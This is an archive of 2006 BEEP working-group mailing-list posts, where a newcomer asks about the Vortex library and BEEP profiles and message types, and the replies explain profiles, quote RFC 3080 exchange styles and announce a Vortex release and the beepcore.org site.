Subject: [BEEPwg] Vortex/BEEP peer to peer protocol
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 09 Feb 2006 06:04:12 -0000

Hi,
I need to implement a peer-to-peer wireless connection protocol, that is big 
request, big response. Any side can act as client and server and the data is 
full-duplex.
I've got the book BEEP The definitive Guild from Marshall T. Rose
It introduces some concepts on that, but did not supply code in C++
Code Snippet:
wl = new Wireless();
wl->vortex_act_as_server();
wl->vortex_act_as_client();

the server code was taken from vortex-omr-server.c
and the client code was taken from vortex-simple-client.c

The problem is I use listener wait for the server so the code 
vortex_act_as_client never gets invoked....
Is there anywhere I can look?
Thanks
Jack

_________________________________________________________________
FREE 'A WORD A DAY' - learn English easily! 
http://www.linguaphonenet.com/BannerTrack.asp?EMSCode=MSN06-02ETFJ-0211E

From francis@aspl.es Thu Feb  9 02:14:32 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k19AEUra011842
	for <beepwg@lists.beepcore.org>; Thu, 9 Feb 2006 02:14:31 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F78lR-0007gO-00; Thu, 09 Feb 2006 11:11:01 +0100
Subject: Re: [BEEPwg] Vortex/BEEP peer to peer protocol
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Jacky Luk <lucky7456969b@hotmail.com>
In-Reply-To: <BAY21-F1670FE0199472B74950E51F3030@phx.gbl>
References: <BAY21-F1670FE0199472B74950E51F3030@phx.gbl>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Thu, 09 Feb 2006 11:12:07 +0100
Message-Id: <1139479927.24842.24.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1F78lR-0007gO-00*sFdoBBeW2AE*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k19AEUra011842
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Thu, 09 Feb 2006 10:14:32 -0000

El jue, 09-02-2006 a las 06:03 +0000, Jacky Luk escribió:
> Is there anywhere I can look?

Being a Vortex specific issue, and to those interested, this messages is
being replied at [1].

	-Francis

[1]
http://lists.aspl.es/pipermail/aspl-fact-users/2006-February/000040.html

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From lucky7456969b@hotmail.com Fri Feb 10 02:11:16 2006
Received: from hotmail.com (bay21-f13.bay21.hotmail.com [65.54.233.102])
	k1AABGHf027755
	for <beepwg@lists.beepcore.org>; Fri, 10 Feb 2006 02:11:16 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Fri, 10 Feb 2006 02:11:06 -0800
Message-ID: <BAY21-F1334146B8B92C953239419F3020@phx.gbl>
Received: from 67.131.237.20 by by21fd.bay21.hotmail.msn.com with HTTP;
	Fri, 10 Feb 2006 10:11:06 GMT
X-Originating-IP: [202.180.167.69]
X-Originating-Email: [lucky7456969b@hotmail.com]
X-Sender: lucky7456969b@hotmail.com
From: "Jacky Luk" <lucky7456969b@hotmail.com>
To: beepwg@lists.beepcore.org
Date: Fri, 10 Feb 2006 10:11:06 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 10 Feb 2006 10:11:06.0847 (UTC)
	FILETIME=[4E9416F0:01C62E2A]
Subject: [BEEPwg] Vortex (Need 4 a persistant link example)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Feb 2006 10:11:17 -0000

Dear BEEP/Vortex gurus,
I don't really want the session/connection to go away after sending and 
receiving data.
How do I make a persistant link with vortex? probably asynchronous. Any 
examples to download
This is quite urgent! Thanks
Thanks
Jack

_________________________________________________________________
FREE 'A WORD A DAY' - learn English easily! 
http://www.linguaphonenet.com/BannerTrack.asp?EMSCode=MSN06-02ETFJ-0211E

From francis@aspl.es Fri Feb 10 02:36:55 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1AAarf9028091
	for <beepwg@lists.beepcore.org>; Fri, 10 Feb 2006 02:36:54 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F7Vdh-0005We-00; Fri, 10 Feb 2006 11:36:33 +0100
Subject: Re: [BEEPwg] Vortex (Need 4 a persistant link example)
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Jacky Luk <lucky7456969b@hotmail.com>
In-Reply-To: <BAY21-F1334146B8B92C953239419F3020@phx.gbl>
References: <BAY21-F1334146B8B92C953239419F3020@phx.gbl>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Fri, 10 Feb 2006 11:37:46 +0100
Message-Id: <1139567866.6374.37.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1F7Vdh-0005We-00*C6.HNDgZY.I*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k1AAarf9028091
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 10 Feb 2006 10:36:55 -0000

El vie, 10-02-2006 a las 10:11 +0000, Jacky Luk escribió:
> Dear BEEP/Vortex gurus,

Hi Jack,

Some clarifications are required. This mailing list is being run to
answer BEEP protocol specific questions. Vortex Library users questions
has nothing to do here.

Vortex is just an implementation of the BEEP protocol. If you need help
and clarifications about Vortex usage, use the mailing list provided for
such purpose [1] If you have questions about the BEEP protocol itself,
use this list.

	-Francis

[1] http://lists.aspl.es/cgi-bin/mailman/listinfo/aspl-fact-users

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From lucky7456969b@hotmail.com Sun Feb 12 23:38:04 2006
Received: from hotmail.com (bay21-f16.bay21.hotmail.com [65.54.233.105])
	k1D7c4fc008054
	for <beepwg@lists.beepcore.org>; Sun, 12 Feb 2006 23:38:04 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Sun, 12 Feb 2006 23:37:55 -0800
Message-ID: <BAY21-F16B13041DB66114533BC32F3070@phx.gbl>
Received: from 67.131.237.20 by by21fd.bay21.hotmail.msn.com with HTTP;
	Mon, 13 Feb 2006 07:37:55 GMT
X-Originating-IP: [202.180.167.69]
X-Originating-Email: [lucky7456969b@hotmail.com]
X-Sender: lucky7456969b@hotmail.com
From: "Jacky Luk" <lucky7456969b@hotmail.com>
To: beepwg@lists.beepcore.org
Date: Mon, 13 Feb 2006 07:37:55 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 13 Feb 2006 07:37:55.0916 (UTC)
	FILETIME=[679890C0:01C63070]
Subject: [BEEPwg] Meaning of uamn;
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 13 Feb 2006 07:38:05 -0000

I saw a structure inside beepcore-c that is named uamn. I want to know what 
does it do?
And what are the differences between message types?
Thanks in advance
Jack

_________________________________________________________________
Get 10Mb extra storage for MSN Hotmail. Subscribe Now! 
http://join.msn.com/?pgmarket=en-hk

From francis@aspl.es Mon Feb 13 05:56:58 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1DDuvti014220
	for <beepwg@lists.beepcore.org>; Mon, 13 Feb 2006 05:56:58 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F8eC5-0002AM-00; Mon, 13 Feb 2006 14:56:45 +0100
Subject: Re: [BEEPwg] Meaning of uamn;
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Jacky Luk <lucky7456969b@hotmail.com>
In-Reply-To: <BAY21-F16B13041DB66114533BC32F3070@phx.gbl>
References: <BAY21-F16B13041DB66114533BC32F3070@phx.gbl>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Mon, 13 Feb 2006 14:58:22 +0100
Message-Id: <1139839102.3965.9.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1F8eC5-0002AM-00*P70ZNQwyfLY*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k1DDuvti014220
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 13 Feb 2006 13:56:59 -0000

El lun, 13-02-2006 a las 07:37 +0000, Jacky Luk escribió:

Hi Jack,

> And what are the differences between message types?

>From RFC 3080 [1], under section 2.1.1 Exchange Styles, you can find:

   BEEP allows three styles of exchange:

   MSG/RPY: the client sends a "MSG" message asking the server to
      perform some task, the server performs the task and replies with a
      "RPY" message (termed a positive reply).

   MSG/ERR: the client sends a "MSG" message, the server does not
      perform any task and replies with an "ERR" message (termed a
      negative reply).

   MSG/ANS: the client sends a "MSG" message, the server, during the
      course of performing some task, replies with zero or more "ANS"
      messages, and, upon completion of the task, sends a "NUL" message,
      which signifies the end of the reply.

   The first two styles are termed one-to-one exchanges, whilst the
   third style is termed a one-to-many exchange.

Cheers,

[1] http://www.rfc-editor.org/rfc/rfc3080.txt
-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From lucky7456969b@hotmail.com Tue Feb 14 20:54:12 2006
Received: from hotmail.com (bay21-f10.bay21.hotmail.com [65.54.233.99])
	k1F4sC1I007364
	for <beepwg@lists.beepcore.org>; Tue, 14 Feb 2006 20:54:12 -0800
Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC;
	 Tue, 14 Feb 2006 20:54:00 -0800
Message-ID: <BAY21-F10129981ECFC65C18774E1F3FA0@phx.gbl>
Received: from 67.131.237.19 by by21fd.bay21.hotmail.msn.com with HTTP;
	Wed, 15 Feb 2006 04:54:00 GMT
X-Originating-IP: [202.180.167.69]
X-Originating-Email: [lucky7456969b@hotmail.com]
X-Sender: lucky7456969b@hotmail.com
From: "Jacky Luk" <lucky7456969b@hotmail.com>
To: beepwg@lists.beepcore.org
Date: Wed, 15 Feb 2006 04:54:00 +0000
Mime-Version: 1.0
Content-Type: text/plain; format=flowed
X-OriginalArrivalTime: 15 Feb 2006 04:54:00.0608 (UTC)
	FILETIME=[D61F2A00:01C631EB]
Subject: [BEEPwg] About Profiles
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 15 Feb 2006 04:54:13 -0000

Hi,
I'm looking into how to go about writing profiles.
I have a question,
If the profile is written in C, do I have to compile it?
What is a profile basically? Can you explain what nullprofile and plain 
profile do?
Thanks
Jack

_________________________________________________________________
FREE 'A WORD A DAY' - learn English easily! 
http://www.linguaphonenet.com/BannerTrack.asp?EMSCode=MSN06-02ETFJ-0211E

From francis@aspl.es Wed Feb 15 00:57:20 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1F8vJvH010207
	for <beepwg@lists.beepcore.org>; Wed, 15 Feb 2006 00:57:20 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F9IT6-0001nS-00; Wed, 15 Feb 2006 09:57:00 +0100
Subject: Re: [BEEPwg] About Profiles
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Jacky Luk <lucky7456969b@hotmail.com>
In-Reply-To: <BAY21-F10129981ECFC65C18774E1F3FA0@phx.gbl>
References: <BAY21-F10129981ECFC65C18774E1F3FA0@phx.gbl>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Wed, 15 Feb 2006 09:58:51 +0100
Message-Id: <1139993931.25351.15.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1F9IT6-0001nS-00*J.II9zy31uc*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k1F8vJvH010207
cc: beepwg@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 15 Feb 2006 08:57:21 -0000

El mié, 15-02-2006 a las 04:54 +0000, Jacky Luk escribió:

Hi Jack,

> What is a profile basically? 

BEEP is a protocol to write new application protocols. This means that
you can't use BEEP directly to send and receive data, if you don't
extend BEEP to implement your specific application protocol.

This is done by extending BEEP, adding your application protocol on top
of it. The way BEEP is extended, to fulfill your protocol requirements,
are: profiles.

>From a conceptual point of view, without taking into account how each
BEEP toolkit implements the profile concept, we could say that a profile
is just an agreement between BEEP peers that they implement some
application protocol, identified by the profile, which involves to know
how to process messages to be exchanged by the profile and their
meaning.

Another concept to consider is that BEEP channels are created under the
semantic of a profile. In other words, if you define your profile "A"
and a profile "B", which are different application protocols, you are
allowed to create channels that are bound to run under the profile "A"
or "B".

Now, once the profile, that define your application prototol, is
defined, you need to implement it following indications of the BEEP
toolkit you are using. 

Cheers!

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.


From francis@aspl.es Wed Feb 15 10:53:33 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1FIrWVt018409
	for <beepwg@lists.beepcore.org>; Wed, 15 Feb 2006 10:53:33 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F9RmA-0007an-00
	for <beepwg@lists.beepcore.org>; Wed, 15 Feb 2006 19:53:18 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: BEEPwg <beepwg@lists.beepcore.org>
X-Sieve: CMU Sieve 2.2
In-Reply-To: <1139423223.4106.27.camel@vulcan.aspl>
References: <1139423223.4106.27.camel@vulcan.aspl>
X-Scanner: exiscan *1F8sit-0004Y2-00*s.6GAFSKFrE*
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on dolphin.aspl.es
X-Spam-Level: 
X-Spam-Status: No, score=-1.2 required=3.0 tests=AWL,BAYES_40,RCVD_BY_IP 
	autolearn=ham version=3.0.3
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Wed, 15 Feb 2006 19:53:17 +0100
Message-Id: <1140029597.28031.44.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
Subject: [BEEPwg] Re: [BEEPbuilders] new BEEP Core community web site
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 15 Feb 2006 18:53:34 -0000

<notice>With Gabe's permission, I'm forwarding its message</notice>

I encourage everyone who hasn't paid attention to beep in a while to
go check out the new beepcore - its quite nice.

Am I sensing a renewed interest in BEEP?

On 2/8/06, Francis Brosnan Blazquez <francis@aspl.es> wrote:
> Hi,
>
> beepcore.org community site has been upgraded to reorganize all
> information available around BEEP. I hope you find it useful.
>
>
> Activities
> ~~~~~~~~~~
>
> There are many on going activities where collaboration is welcome. As a
> brief, these activities involves:
>
>   -  writing articles about aspects around the BEEP protocol and
>      products/protocols making use of it,
>
>   -  notifying new BEEP toolkits and BEEP enabled products.
>
> There is also a service directory inside the support section that is
> organizing companies/organizations and products around BEEP. Some of
> previous yet listed products were missing (broken link on most cases),
> so, anyone how is interested on making its products to get listed again
> contact us.
>
> Articles
> ~~~~~~~~
>
> As an initial step, an article about SEQ frames has been written [1],
> taking advantage from discussions on the beepcore.org mailing list.
>
> Articles are really important because many people can get lot of
> experience from those people that has already faced problems found
> inside the BEEP framework.
>
> Contact us
> ~~~~~~~~~~
>
> To reach us for comments, suggestions, writing articles, or any related
> issue with the beepcore.org community portal, you can
> webmaster@beepcore.org.
>
>
> Enjoy BEEP!
>
> [1] http://beepcore.org/seq_frames.html
>
> --
> Francis Brosnan Blazquez <francis@aspl.es>
> Advanced Software Production Line, S.L.
>
> _______________________________________________
> BEEPbuilders mailing list
> BEEPbuilders@lists.beepcore.org
> http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepbuilders
>


--
Gabe Wachob / gwachob@wachob.com / http://www.wachob.com



From francis@aspl.es Wed Feb 15 10:55:30 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1FItP5m018439
	for <beepwg@lists.beepcore.org>; Wed, 15 Feb 2006 10:55:25 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1F9Rny-0007bh-00; Wed, 15 Feb 2006 19:55:10 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Gabe Wachob <gwachob@wachob.com>
In-Reply-To: <a813249a0602132127y37261341y3229b0887f101f56@mail.gmail.com>
References: <1139423223.4106.27.camel@vulcan.aspl>
	 <a813249a0602132127y37261341y3229b0887f101f56@mail.gmail.com>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Wed, 15 Feb 2006 19:55:08 +0100
Message-Id: <1140029708.28031.48.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1F9Rny-0007bh-00*d5moAny9L/c*
cc: BEEPwg <beepwg@lists.beepcore.org>
Subject: [BEEPwg] Re: [BEEPbuilders] new BEEP Core community web site
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Wed, 15 Feb 2006 18:55:31 -0000

Hi Gabe,

> I encourage everyone who hasn't paid attention to beep in a while to
> go check out the new beepcore - its quite nice.
> 

Thanks, 

> Am I sensing a renewed interest in BEEP?

I hope so. It is a great protocol that people should know to make a
better desicion while writting new network connection oriented stuff. 

Cheers!


-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Mon Feb 27 02:23:53 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k1RANpeM009513;	Mon, 27 Feb 2006 02:23:51 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FDfXJ-0005ok-00; Mon, 27 Feb 2006 11:23:25 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Regina Aggio <regina@oreilly.com>, BEEP <beepbuilders@lists.beepcore.org>,
        BEEPwg <beepwg@lists.beepcore.org>
Content-Type: text/plain
Organization: Advanced Software Production Line, S.L.
Date: Mon, 27 Feb 2006 11:23:26 +0100
Message-Id: <1141035806.3997.9.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
Content-Transfer-Encoding: 7bit
X-Scanner: exiscan *1FDfXJ-0005ok-00*naWaD85Wze2*
Subject: [BEEPwg] New article
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Mon, 27 Feb 2006 10:23:54 -0000

Hi all,

A new article, mainly based on first chapter, from the BEEP book, is
available on the beepcore.org site [1]. For those who didn't read the
BEEP book, it includes some interesting insights.

I hope you find it helpful. Comments and sugestions are welcome!

Cheers,

[1] http://www.beepcore.org/mrose_beep.html

-- 
Francis Brosnan Blazquez <francis@aspl.es>
Advanced Software Production Line, S.L.

From francis@aspl.es Tue Mar  7 13:44:00 2006
Received: from dolphin.aspl.es (134.Red-80-34-198.staticIP.rima-tde.net
	[80.34.198.134])k27LhwOv025415;	Tue, 7 Mar 2006 13:43:59 -0800
Received: from elaine ([10.0.0.4] helo=vulcan.aspl)
	by dolphin.aspl.es with esmtp (ASPL Mail Server XP#1)
	id 1FGjy2-0003BV-00; Tue, 07 Mar 2006 22:43:42 +0100
From: Francis Brosnan Blazquez <francis@aspl.es>
To: Vortex <vortex@dolphin.aspl.es>
Content-Type: text/plain; charset=ISO-8859-15
Organization: Advanced Software Production Line, S.L.
Date: Tue, 07 Mar 2006 22:44:41 +0100
Message-Id: <1141767881.3966.5.camel@vulcan.aspl>
Mime-Version: 1.0
X-Mailer: Evolution 2.2.3 
X-Scanner: exiscan *1FGjy2-0003BV-00*.KaI8h5EByI*
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id k27LhwOv025415
cc: BEEPwg <beepwg@lists.beepcore.org>
cc: Af-Arch announces <aspl-fact-announce@dolphin.aspl.es>
cc: BEEP <beepbuilders@lists.beepcore.org>
Subject: [BEEPwg] [ANN] Vortex Library 0.8.10 is available!
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Tue, 07 Mar 2006 21:44:01 -0000

       ###########################################
       ## Vortex Library 0.8.10 Stable Release  ##
       ###########################################

Release note
~~~~~~~~~~~~

  Advanced Software Production Line is proud to announce the Vortex
  Library 0.8.10 availability: an open source "BEEP Core" protocol
  implementation written in C, mapped into TCP/IP.

  Vortex Library is a powerful toolkit to write new application
  protocols and application over the well-defined "BEEP Core" protocol
  defined at RFC3080/RFC3081. 

  Vortex Library has been developed inside the Af-Arch project as its
  data transport layer.

  Vortex Library is a stable and robust application protocol
  development toolkit. Currently it is running under Microsoft Windows
  and GNU/Linux platforms.

  Check out the following links to get ready with Vortex Library:

    - http://vortex.aspl.es
      [Vortex Library homepage]

    - http://www.sf.net/projects/vortexlibrary
      [Sources and Win32 binaries]

    - http://fact.aspl.es
      [Af-Arch homepage where Vortex Library is being developed]

    - http://www.beepcore.org
      [BEEP Core community web site]
    
The release in short
~~~~~~~~~~~~~~~~~~~~

  A new, not planned, Vortex release have been reached. It comes
  mainly to give better support for people developing under the Win32
  platform.
 
  A new windows installer have been created to deliver Vortex Library
  into win32 platforms in the form of a SDK. It includes an already
  prepared Vortex Library with all features enabled such as TLS, SASL,
  vortex-client tool, the ongoing XML-RPC implementation, development
